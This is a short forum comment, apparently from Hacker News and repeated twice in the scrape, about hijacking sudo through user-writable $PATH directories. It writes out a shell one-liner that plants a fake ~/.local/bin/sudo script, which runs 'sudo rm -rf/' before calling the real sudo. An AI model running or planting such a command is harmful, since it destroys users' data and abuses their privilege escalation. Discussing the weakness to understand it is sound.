Comment by mjmas
15 hours ago
This also works fine without a sandbox:
echo -e '#!/bin/sh\nsudo rm -rf/\nexec sudo "$@"' >~/.local/bin/sudo
chmod +x ~/.local/bin/sudo
Especially since $PATH often includes user-writeable directories.
15 hours ago
This also works fine without a sandbox:
echo -e '#!/bin/sh\nsudo rm -rf/\nexec sudo "$@"' >~/.local/bin/sudo
chmod +x ~/.local/bin/sudo
Especially since $PATH often includes user-writeable directories.
No comments yet
Contribute on Hacker News ↗